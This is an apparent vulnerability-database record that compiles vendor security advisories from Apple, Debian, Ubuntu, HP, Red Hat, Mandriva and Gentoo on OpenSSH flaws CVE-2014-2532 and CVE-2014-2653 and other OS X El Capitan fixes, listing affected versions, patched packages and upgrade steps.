Mail Available for: Mac OS X v10.6.8 and later Impact: Printing an email may leak sensitive user information Description: An issue existed in Mail which bypassed user preferences when printing an email. This issue was addressed through improved user preference enforcement. CVE-ID CVE-2015-5881 : Owen DeLong of Akamai Technologies, Noritaka Kamiya, Dennis Klein from Eschenburg, Germany, Jeff Hammett of Systim Technology Partners

Mail Available for: Mac OS X v10.6.8 and later Impact: An attacker in a privileged network position may be able to intercept attachments of S/MIME-encrypted e-mail sent via Mail Drop Description: An issue existed in handling encryption parameters for large email attachments sent via Mail Drop. The issue is addressed by no longer offering Mail Drop when sending an encrypted e-mail. CVE-ID CVE-2015-5884 : John McCombs of Integrated Mapping Ltd

Multipeer Connectivity Available for: Mac OS X v10.6.8 and later Impact: A local attacker may be able to observe unprotected multipeer data Description: An issue existed in convenience initializer handling in which encryption could be actively downgraded to a non-encrypted session. This issue was addressed by changing the convenience initializer to require encryption. CVE-ID CVE-2015-5851 : Alban Diquet (@nabla_c0d3) of Data Theorem

NetworkExtension Available for: Mac OS X v10.6.8 and later Impact: A malicious application may be able to determine kernel memory layout Description: An uninitialized memory issue in the kernel led to the disclosure of kernel memory content. This issue was addressed through improved memory initialization. CVE-ID CVE-2015-5831 : Maxime Villard of m00nbsd

Notes Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to leak sensitive user information Description: An issue existed in parsing links in the Notes application. This issue was addressed through improved input validation. CVE-ID CVE-2015-5878 : Craig Young of Tripwire VERT, an anonymous researcher

Notes Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to leak sensitive user information Description: A cross-site scripting issue existed in parsing text by the Notes application. This issue was addressed through improved input validation. CVE-ID CVE-2015-5875 : xisigr of Tencent's Xuanwu LAB (www.tencent.com)

OpenSSH Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in OpenSSH Description: Multiple vulnerabilities existed in OpenSSH versions prior to 6.9. These issues were addressed by updating OpenSSH to version 6.9. CVE-ID CVE-2014-2532

OpenSSL Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in OpenSSL Description: Multiple vulnerabilities existed in OpenSSL versions prior to 0.9.8zg. These were addressed by updating OpenSSL to version 0.9.8zg. CVE-ID CVE-2015-0286 CVE-2015-0287

procmail Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in procmail Description: Multiple vulnerabilities existed in procmail versions prior to 3.22. These issues were addressed by removing procmail. CVE-ID CVE-2014-3618

remote_cmds Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with root privileges Description: An issue existed in the usage of environment variables by the rsh binary. This issue was addressed by dropping setuid privileges from the rsh binary. CVE-ID CVE-2015-5889 : Philip Pettersson

removefile Available for: Mac OS X v10.6.8 and later Impact: Processing malicious data may lead to unexpected application termination Description: An overflow fault existed in the checkint division routines. This issue was addressed with improved division routines. CVE-ID CVE-2015-5840 : an anonymous researcher

Ruby Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in Ruby Description: Multiple vulnerabilities existed in Ruby versions prior to 2.0.0p645. These were addressed by updating Ruby to version 2.0.0p645. CVE-ID CVE-2014-8080 CVE-2014-8090 CVE-2015-1855

Security Available for: Mac OS X v10.6.8 and later Impact: The lock state of the keychain may be incorrectly displayed to the user Description: A state management issue existed in the way keychain lock status was tracked. This issue was addressed through improved state management. CVE-ID CVE-2015-5915 : Peter Walz of University of Minnesota, David Ephron, Eric E. Lawrence, Apple

Security Available for: Mac OS X v10.6.8 and later Impact: A trust evaluation configured to require revocation checking may succeed even if revocation checking fails Description: The kSecRevocationRequirePositiveResponse flag was specified but not implemented. This issue was addressed by implementing the flag. CVE-ID CVE-2015-5894 : Hannes Oud of kWallet GmbH

Security Available for: Mac OS X v10.6.8 and later Impact: A remote server may prompt for a certificate before identifying itself Description: Secure Transport accepted the CertificateRequest message before the ServerKeyExchange message. This issue was addressed by requiring the ServerKeyExchange first. CVE-ID CVE-2015-5887 : Benjamin Beurdouche, Karthikeyan Bhargavan, Antoine Delignat-Lavaud, Alfredo Pironti, and Jean Karim Zinzindohoue of INRIA Paris-Rocquencourt, and Cedric Fournet and Markulf Kohlweiss of Microsoft Research, Pierre-Yves Strub of IMDEA Software Institute

SMB Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the kernel. This issue was addressed through improved memory handling. CVE-ID CVE-2015-5891 : Ilja van Sprundel of IOActive

SMB Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to determine kernel memory layout Description: An issue existed in SMBClient that led to the disclosure of kernel memory content. This issue was addressed through improved bounds checking. CVE-ID CVE-2015-5893 : Ilja van Sprundel of IOActive

SQLite Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in SQLite v3.8.5 Description: Multiple vulnerabilities existed in SQLite v3.8.5. These issues were addressed by updating SQLite to version 3.8.10.2. CVE-ID CVE-2015-3414 CVE-2015-3415 CVE-2015-3416

Telephony Available for: Mac OS X v10.6.8 and later Impact: A local attacker can place phone calls without the user's knowledge when using Continuity Description: An issue existed in the authorization checks for placing phone calls. This issue was addressed through improved authorization checks. CVE-ID CVE-2015-3785 : Dan Bastone of Gotham Digital Science

Terminal Available for: Mac OS X v10.6.8 and later Impact: Maliciously crafted text could mislead the user in Terminal Description: Terminal did not handle bidirectional override characters in the same way when displaying text and when selecting text. This issue was addressed by suppressing bidirectional override characters in Terminal. CVE-ID CVE-2015-5883 : an anonymous researcher

tidy Available for: Mac OS X v10.6.8 and later Impact: Visiting a maliciously crafted website may lead to arbitrary code execution Description: Multiple memory corruption issues existed in tidy. These issues were addressed through improved memory handling. CVE-ID CVE-2015-5522 : Fernando Munoz of NULLGroup.com CVE-2015-5523 : Fernando Munoz of NULLGroup.com

Time Machine Available for: Mac OS X v10.6.8 and later Impact: A local attacker may gain access to keychain items Description: An issue existed in backups by the Time Machine framework. This issue was addressed through improved coverage of Time Machine backups. CVE-ID CVE-2015-5854 : Jonas Magazinius of Assured AB

Note: OS X El Capitan 10.11 includes the security content of Safari 9: https://support.apple.com/kb/HT205265.

OS X El Capitan 10.11 may be obtained from the Mac App Store: http://www.apple.com/support/downloads/

Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/

-----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org

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References:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2532 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2653 http://advisories.mageia.org/MGASA-2014-0143.html http://advisories.mageia.org/MGASA-2014-0166.html

Updated Packages:

Mandriva Business Server 1/X86_64: 753bd40deb60429adc6a7c1afd63ee3d mbs1/x86_64/openssh-5.9p1-6.3.mbs1.x86_64.rpm 377e7fbb14f72a1e32da41f19be7baa8 mbs1/x86_64/openssh-askpass-5.9p1-6.3.mbs1.x86_64.rpm a906db623fc8d56eab9b8b99b1af84d9 mbs1/x86_64/openssh-askpass-common-5.9p1-6.3.mbs1.x86_64.rpm 9fc03d4929efdf21a26aef308eb66f14 mbs1/x86_64/openssh-askpass-gnome-5.9p1-6.3.mbs1.x86_64.rpm f2dbea4a0a8109bc835c69e871f07a69 mbs1/x86_64/openssh-clients-5.9p1-6.3.mbs1.x86_64.rpm a20d329b8332ff7f7f10dd541a3865a9 mbs1/x86_64/openssh-server-5.9p1-6.3.mbs1.x86_64.rpm 0fd2c0a9338a7e8e8747c2ea3ae43c49 mbs1/SRPMS/openssh-5.9p1-6.3.mbs1.src.rpm

To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. The Common Vulnerabilities and Exposures project identifies the following problems:

CVE-2014-2532

Jann Horn discovered that OpenSSH incorrectly handled wildcards in
AcceptEnv lines.

CVE-2014-2653

Matthew Vernon reported that if a SSH server offers a
HostCertificate that the ssh client doesn't accept, then the client
doesn't check the DNS for SSHFP records. As a consequence a
malicious server can disable SSHFP-checking by presenting a
certificate.

Note that a host verification prompt is still displayed before
connecting.

For the oldstable distribution (squeeze), these problems have been fixed in version 1:5.5p1-6+squeeze5.

For the stable distribution (wheezy), these problems have been fixed in version 1:6.0p1-4+deb7u1.

For the unstable distribution (sid), these problems have been fixed in version 1:6.6p1-1.

We recommend that you upgrade your openssh packages. ============================================================================ Ubuntu Security Notice USN-2155-1 March 25, 2014

openssh vulnerability

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 13.10
  • Ubuntu 12.10
  • Ubuntu 12.04 LTS
  • Ubuntu 10.04 LTS

Summary:

OpenSSH incorrectly handled environment restrictions with wildcards.

Update instructions:

The problem can be corrected by updating your system to the following package versions:

Ubuntu 13.10: openssh-server 1:6.2p2-6ubuntu0.2

Ubuntu 12.10: openssh-server 1:6.0p1-3ubuntu1.1

Ubuntu 12.04 LTS: openssh-server 1:5.9p1-5ubuntu1.2

Ubuntu 10.04 LTS: openssh-server 1:5.3p1-3ubuntu7.1

In general, a standard system update will make all the necessary changes. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

Note: the current version of the following document is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/ docDisplay?docId=emr_na-c04499681

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c04499681 Version: 1

HPSBUX03188 SSRT101487 rev.1 - HP-UX running HP Secure Shell, Remote Denial of Service (DoS) and other Vulnerabilities

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2014-11-07 Last Updated: 2014-11-07

Potential Security Impact: Remote Denial of Service (DoS) and other vulnerabilities

Source: Hewlett-Packard Company, HP Software Security Response Team

VULNERABILITY SUMMARY Potential security vulnerabilities have been identified with HP-UX running HP Secure Shell. These vulnerabilities could be exploited remotely to create a Denial of Service (DoS) and other vulnerabilities.

References:

CVE-2013-4548 - remote Permissions, Privileges, and Access Control (CWE-264)

CVE-2014-1692 - remote Denial of Service (DoS), Buffer Errors (CWE-119)

CVE-2014-2532 - remote Permissions, Privileges, and Access Control (CWE-264)

CVE-2014-2653 - remote Input Validation (CWE-20)

SSRT101487

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. HP-UX B.11.11 running HP Secure Shell before version A.06.20.010

HP-UX B.11.23 running HP Secure Shell before version A.06.20.011

HP-UX B.11.31 running HP Secure Shell before version A.06.20.012

BACKGROUND

CVSS 2.0 Base Metrics

Reference Base Vector Base Score CVE-2013-4548 (AV:N/AC:M/Au:S/C:P/I:P/A:P) 6.0 CVE-2014-1692 (AV:N/AC:L/Au:N/C:P/I:P/A:P) 7.5 CVE-2014-2532 (AV:N/AC:M/Au:N/C:P/I:P/A:N) 5.8 CVE-2014-2653 (AV:N/AC:M/Au:N/C:P/I:P/A:N) 5.8 =========================================================== Information on CVSS is documented in HP Customer Notice: HPSN-2008-002

RESOLUTION

HP has provided the following software updates to resolve this vulnerability. The updates are available for download from: http://h20293.www2.hp.com/portal/swdepot/displayProductInfo.do?productNumber= T1471AA

OS Release HP Secure Shell Version Depot Name

HP-UX B.11.11 (11i v1) A.06.20.010 or subsequent HP_UX_11i_v1_T1471AA_A.06.20.010_HP-UX_B.11.11_32_64.depot

HP-UX B.11.23 (11i v2) A.06.20.011 or subsequent HP_UX_11i_v2_T1471AA_A.06.20.011_HP-UX_B.11.23_IA_PA.depot

HP-UX B.11.31 (11i v3) A.06.20.012 or subsequent HP_UX_11i_v3_SecureShell_A.06.20.012_HP-UX_B.11.31_IA_PA.depot

MANUAL ACTIONS: Yes - Update

PRODUCT SPECIFIC INFORMATION

HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all HP-issued Security Bulletins and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see: https://www.hp.com/go/swa

AFFECTED VERSIONS

HP-UX B.11.11

Secure_Shell.SECURE_SHELL action: install revision A.06.20.010 or subsequent

HP-UX B.11.23

Secure_Shell.SECSH-CMN Secure_Shell.SECURE_SHELL action: install revision A.06.20.011 or subsequent

HP-UX B.11.31

Secure_Shell.SECSH-CMN Secure_Shell.SECURE_SHELL action: install revision A.06.20.012 or subsequent

END AFFECTED VERSIONS

HISTORY: Version:1 (rev.1) - 7 November 2014 Initial Release

Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.

Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HP Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hp.com.

Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com

Subscribe: To initiate a subscription to receive future HP Security Bulletin alerts via Email: http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins

Security Bulletin Archive: A list of recently released Security Bulletins is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/

Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.

3C = 3COM 3P = 3rd Party Software GN = HP General Software HF = HP Hardware and Firmware MP = MPE/iX MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PI = Printing and Imaging PV = ProCurve ST = Storage Software TU = Tru64 UNIX UX = HP-UX

Copyright 2014 Hewlett-Packard Development Company, L.P. Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners

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    "data": "sshd in OpenSSH before 6.6 does not properly support wildcards on AcceptEnv lines in sshd_config, which allows remote attackers to bypass intended environment restrictions by using a substring located before a wildcard character. OpenSSH is prone to a security-bypass vulnerability. \nAn attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may lead to further attacks. \nVersions prior to OpenSSH 6.6 are vulnerable. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n=====================================================================\n                   Red Hat Security Advisory\n\nSynopsis:          Moderate: openssh security, bug fix, and enhancement update\nAdvisory ID:       RHSA-2014:1552-02\nProduct:           Red Hat Enterprise Linux\nAdvisory URL:      https://rhn.redhat.com/errata/RHSA-2014-1552.html\nIssue date:        2014-10-14\nCVE Names:         CVE-2014-2532 CVE-2014-2653 \n=====================================================================\n\n1. Summary:\n\nUpdated openssh packages that fix two security issues, several bugs, and\nadd various enhancements are now available for Red Hat Enterprise Linux 6. \n\nRed Hat Product Security has rated this update as having Moderate security\nimpact. Common Vulnerability Scoring System (CVSS) base scores, which give\ndetailed severity ratings, are available for each vulnerability from the\nCVE links in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Desktop (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64\nRed Hat Enterprise Linux HPC Node (v. 6) - x86_64\nRed Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64\nRed Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 6) - i386, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 6) - i386, x86_64\n\n3. Description:\n\nOpenSSH is OpenBSD\u0027s SSH (Secure Shell) protocol implementation. \nThese packages include the core files necessary for both the OpenSSH client\nand server. \n\nIt was discovered that OpenSSH clients did not correctly verify DNS SSHFP\nrecords. A malicious server could use this flaw to force a connecting\nclient to skip the DNS SSHFP record check and require the user to perform\nmanual host verification of the DNS SSHFP record. (CVE-2014-2653)\n\nIt was found that OpenSSH did not properly handle certain AcceptEnv\nparameter values with wildcard characters. (CVE-2014-2532)\n\nThis update also fixes the following bugs:\n\n* Based on the SP800-131A information security standard, the generation of\na digital signature using the Digital Signature Algorithm (DSA) with the\nkey size of 1024 bits and RSA with the key size of less than 2048 bits is\ndisallowed after the year 2013. After this update, ssh-keygen no longer\ngenerates keys with less than 2048 bits in FIPS mode. However, the sshd\nservice accepts keys of size 1024 bits as well as larger keys for\ncompatibility reasons. (BZ#993580)\n\n* Previously, the openssh utility incorrectly set the oom_adj value to -17\nfor all of its children processes. This behavior was incorrect because the\nchildren processes were supposed to have this value set to 0. This update\napplies a patch to fix this bug and oom_adj is now properly set to 0 for\nall children processes as expected. (BZ#1010429)\n\n* Previously, if the sshd service failed to verify the checksum of an\ninstalled FIPS module using the fipscheck library, the information about\nthis failure was only provided at the standard error output of sshd. As a\nconsequence, the user could not notice this message and be uninformed when\na system had not been properly configured for FIPS mode. To fix this bug,\nthis behavior has been changed and sshd now sends such messages via the\nsyslog service. (BZ#1020803)\n\n* When keys provided by the pkcs11 library were removed from the ssh agent\nusing the \"ssh-add -e\" command, the user was prompted to enter a PIN. \nWith this update, a patch has been applied to allow the user to remove the\nkeys provided by pkcs11 without the PIN. (BZ#1042519)\n\nIn addition, this update adds the following enhancements:\n\n* With this update, ControlPersist has been added to OpenSSH. The option in\nconjunction with the ControlMaster configuration directive specifies that\nthe master connection remains open in the background after the initial\nclient connection has been closed. (BZ#953088)\n\n* When the sshd daemon is configured to force the internal SFTP session,\nand the user attempts to use a connection other than SFTP, the appropriate\nmessage is logged to the /var/log/secure file. (BZ#997377)\n\n* Support for Elliptic Curve Cryptography modes for key exchange (ECDH) and\nhost user keys (ECDSA) as specified by RFC5656 has been added to the\nopenssh packages. However, they are not enabled by default and the user has\nto enable them manually. For more information on how to configure ECDSA and\nECDH with OpenSSH, see: https://access.redhat.com/solutions/711953\n(BZ#1028335)\n\nAll openssh users are advised to upgrade to these updated packages, which\ncontain backported patches to correct these issues and add these\nenhancements. \n\n4. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. \n\nThis update is available via the Red Hat Network. Details on how to use the\nRed Hat Network to apply this update are available at\nhttps://access.redhat.com/articles/11258\n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n953088 - OpenSSH adding ControlPersist patch to enable full usage of SSH control options\n1010429 - Openssh Incorrectly sets oom_adj in all Children after Performing a Reload\n1023043 - ssh_config manual page lists incorrect default value of KexAlgorithms\n1023044 - Fix man page for ssh-keygen because of certificate support\n1027197 - X11 Forwarding does not work with default config - error: Failed to allocate internet-domain X11 display socket\n1028643 - Connection remains when fork() fails. \n1077843 - CVE-2014-2532 openssh: AcceptEnv environment restriction bypass flaw\n1081338 - CVE-2014-2653 openssh: failure to check DNS SSHFP records in certain scenarios\n1108836 - ssh-keyscan should ignore SIGPIPE\n1111568 - AUTOCREATE_SERVER_KEYS=RSAONLY is not supported by init script\n\n6. Package List:\n\nRed Hat Enterprise Linux Desktop (v. 6):\n\nSource:\nopenssh-5.3p1-104.el6.src.rpm\n\ni386:\nopenssh-5.3p1-104.el6.i686.rpm\nopenssh-askpass-5.3p1-104.el6.i686.rpm\nopenssh-clients-5.3p1-104.el6.i686.rpm\nopenssh-debuginfo-5.3p1-104.el6.i686.rpm\nopenssh-server-5.3p1-104.el6.i686.rpm\n\nx86_64:\nopenssh-5.3p1-104.el6.x86_64.rpm\nopenssh-askpass-5.3p1-104.el6.x86_64.rpm\nopenssh-clients-5.3p1-104.el6.x86_64.rpm\nopenssh-debuginfo-5.3p1-104.el6.x86_64.rpm\nopenssh-server-5.3p1-104.el6.x86_64.rpm\n\nRed Hat Enterprise Linux Desktop Optional (v. 6):\n\ni386:\nopenssh-debuginfo-5.3p1-104.el6.i686.rpm\nopenssh-ldap-5.3p1-104.el6.i686.rpm\npam_ssh_agent_auth-0.9.3-104.el6.i686.rpm\n\nx86_64:\nopenssh-debuginfo-5.3p1-104.el6.i686.rpm\nopenssh-debuginfo-5.3p1-104.el6.x86_64.rpm\nopenssh-ldap-5.3p1-104.el6.x86_64.rpm\npam_ssh_agent_auth-0.9.3-104.el6.i686.rpm\npam_ssh_agent_auth-0.9.3-104.el6.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node (v. 6):\n\nSource:\nopenssh-5.3p1-104.el6.src.rpm\n\nx86_64:\nopenssh-5.3p1-104.el6.x86_64.rpm\nopenssh-clients-5.3p1-104.el6.x86_64.rpm\nopenssh-debuginfo-5.3p1-104.el6.x86_64.rpm\nopenssh-server-5.3p1-104.el6.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node Optional (v. 6):\n\nx86_64:\nopenssh-askpass-5.3p1-104.el6.x86_64.rpm\nopenssh-debuginfo-5.3p1-104.el6.i686.rpm\nopenssh-debuginfo-5.3p1-104.el6.x86_64.rpm\nopenssh-ldap-5.3p1-104.el6.x86_64.rpm\npam_ssh_agent_auth-0.9.3-104.el6.i686.rpm\npam_ssh_agent_auth-0.9.3-104.el6.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 6):\n\nSource:\nopenssh-5.3p1-104.el6.src.rpm\n\ni386:\nopenssh-5.3p1-104.el6.i686.rpm\nopenssh-askpass-5.3p1-104.el6.i686.rpm\nopenssh-clients-5.3p1-104.el6.i686.rpm\nopenssh-debuginfo-5.3p1-104.el6.i686.rpm\nopenssh-server-5.3p1-104.el6.i686.rpm\n\nppc64:\nopenssh-5.3p1-104.el6.ppc64.rpm\nopenssh-askpass-5.3p1-104.el6.ppc64.rpm\nopenssh-clients-5.3p1-104.el6.ppc64.rpm\nopenssh-debuginfo-5.3p1-104.el6.ppc64.rpm\nopenssh-server-5.3p1-104.el6.ppc64.rpm\n\ns390x:\nopenssh-5.3p1-104.el6.s390x.rpm\nopenssh-askpass-5.3p1-104.el6.s390x.rpm\nopenssh-clients-5.3p1-104.el6.s390x.rpm\nopenssh-debuginfo-5.3p1-104.el6.s390x.rpm\nopenssh-server-5.3p1-104.el6.s390x.rpm\n\nx86_64:\nopenssh-5.3p1-104.el6.x86_64.rpm\nopenssh-askpass-5.3p1-104.el6.x86_64.rpm\nopenssh-clients-5.3p1-104.el6.x86_64.rpm\nopenssh-debuginfo-5.3p1-104.el6.x86_64.rpm\nopenssh-server-5.3p1-104.el6.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 6):\n\ni386:\nopenssh-debuginfo-5.3p1-104.el6.i686.rpm\nopenssh-ldap-5.3p1-104.el6.i686.rpm\npam_ssh_agent_auth-0.9.3-104.el6.i686.rpm\n\nppc64:\nopenssh-debuginfo-5.3p1-104.el6.ppc.rpm\nopenssh-debuginfo-5.3p1-104.el6.ppc64.rpm\nopenssh-ldap-5.3p1-104.el6.ppc64.rpm\npam_ssh_agent_auth-0.9.3-104.el6.ppc.rpm\npam_ssh_agent_auth-0.9.3-104.el6.ppc64.rpm\n\ns390x:\nopenssh-debuginfo-5.3p1-104.el6.s390.rpm\nopenssh-debuginfo-5.3p1-104.el6.s390x.rpm\nopenssh-ldap-5.3p1-104.el6.s390x.rpm\npam_ssh_agent_auth-0.9.3-104.el6.s390.rpm\npam_ssh_agent_auth-0.9.3-104.el6.s390x.rpm\n\nx86_64:\nopenssh-debuginfo-5.3p1-104.el6.i686.rpm\nopenssh-debuginfo-5.3p1-104.el6.x86_64.rpm\nopenssh-ldap-5.3p1-104.el6.x86_64.rpm\npam_ssh_agent_auth-0.9.3-104.el6.i686.rpm\npam_ssh_agent_auth-0.9.3-104.el6.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 6):\n\nSource:\nopenssh-5.3p1-104.el6.src.rpm\n\ni386:\nopenssh-5.3p1-104.el6.i686.rpm\nopenssh-askpass-5.3p1-104.el6.i686.rpm\nopenssh-clients-5.3p1-104.el6.i686.rpm\nopenssh-debuginfo-5.3p1-104.el6.i686.rpm\nopenssh-server-5.3p1-104.el6.i686.rpm\n\nx86_64:\nopenssh-5.3p1-104.el6.x86_64.rpm\nopenssh-askpass-5.3p1-104.el6.x86_64.rpm\nopenssh-clients-5.3p1-104.el6.x86_64.rpm\nopenssh-debuginfo-5.3p1-104.el6.x86_64.rpm\nopenssh-server-5.3p1-104.el6.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 6):\n\ni386:\nopenssh-debuginfo-5.3p1-104.el6.i686.rpm\nopenssh-ldap-5.3p1-104.el6.i686.rpm\npam_ssh_agent_auth-0.9.3-104.el6.i686.rpm\n\nx86_64:\nopenssh-debuginfo-5.3p1-104.el6.i686.rpm\nopenssh-debuginfo-5.3p1-104.el6.x86_64.rpm\nopenssh-ldap-5.3p1-104.el6.x86_64.rpm\npam_ssh_agent_auth-0.9.3-104.el6.i686.rpm\npam_ssh_agent_auth-0.9.3-104.el6.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security.  Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/#package\n\n7. References:\n\nhttps://www.redhat.com/security/data/cve/CVE-2014-2532.html\nhttps://www.redhat.com/security/data/cve/CVE-2014-2653.html\nhttps://access.redhat.com/security/updates/classification/#moderate\nhttps://access.redhat.com/solutions/711953\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e.  More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2014 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niD8DBQFUPK1zXlSAg2UNWIIRAgLFAKCbc0zGun3IBr/70ChlueemUsEORgCfa8RL\nIT6RfneDJRTv3j8EqBZSrp0=\n=33Fn\n-----END PGP SIGNATURE-----\n\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGentoo Linux Security Advisory                           GLSA 201405-06\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n                                            http://security.gentoo.org/\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n Severity: High\n    Title: OpenSSH: Multiple vulnerabilities\n     Date: May 11, 2014\n     Bugs: #231292, #247466, #386307, #410869, #419357, #456006, #505066\n       ID: 201405-06\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nSynopsis\n========\n\nMultiple vulnerabilities have been found in OpenSSH, the worst of which\nmay allow remote attackers to execute arbitrary code. Please review\nthe CVE identifiers referenced below for details. \n\nWorkaround\n==========\n\nThere is no known workaround at this time. \n\nResolution\n==========\n\nAll OpenSSH users should upgrade to the latest version:\n\n  # emerge --sync\n  # emerge --ask --oneshot --verbose \"\u003e=net-misc/openssh-6.6_p1-r1\"\n\nNOTE: One or more of the issues described in this advisory have been\nfixed in previous updates. They are included in this advisory for the\nsake of completeness. It is likely that your system is already no\nlonger affected by them. \n\nReferences\n==========\n\n[ 1 ] CVE-2008-5161\n      http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5161\n[ 2 ] CVE-2010-4478\n      http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4478\n[ 3 ] CVE-2010-4755\n      http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4755\n[ 4 ] CVE-2010-5107\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-5107\n[ 5 ] CVE-2011-5000\n      http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-5000\n[ 6 ] CVE-2012-0814\n      http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0814\n[ 7 ] CVE-2014-2532\n      http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2532\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n http://security.gentoo.org/glsa/glsa-201405-06.xml\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttps://bugs.gentoo.org. \n\nLicense\n=======\n\nCopyright 2014 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttp://creativecommons.org/licenses/by-sa/2.5\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-2015-09-30-3 OS X El Capitan 10.11\n\nOS X El Capitan 10.11 is now available and addresses the following:\n\nAddress Book\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local attacker may be able to inject arbitrary code to\nprocesses loading the Address Book framework\nDescription:  An issue existed in Address Book framework\u0027s handling\nof an environment variable. This issue was addressed through improved\nenvironment variable handling. \nCVE-ID\nCVE-2015-5897 : Dan Bastone of Gotham Digital Science\n\nAirScan\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An attacker with a privileged network position may be able\nto extract payload from eSCL packets sent over a secure connection\nDescription:  An issue existed in the processing of eSCL packets. \nThis issue was addressed through improved validation checks. \nCVE-ID\nCVE-2015-5853 : an anonymous researcher\n\napache_mod_php\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Multiple vulnerabilities in PHP\nDescription:  Multiple vulnerabilities existed in PHP versions prior\nto 5.5.27, including one which may have led to remote code execution. \nThis issue was addressed by updating PHP to version 5.5.27. 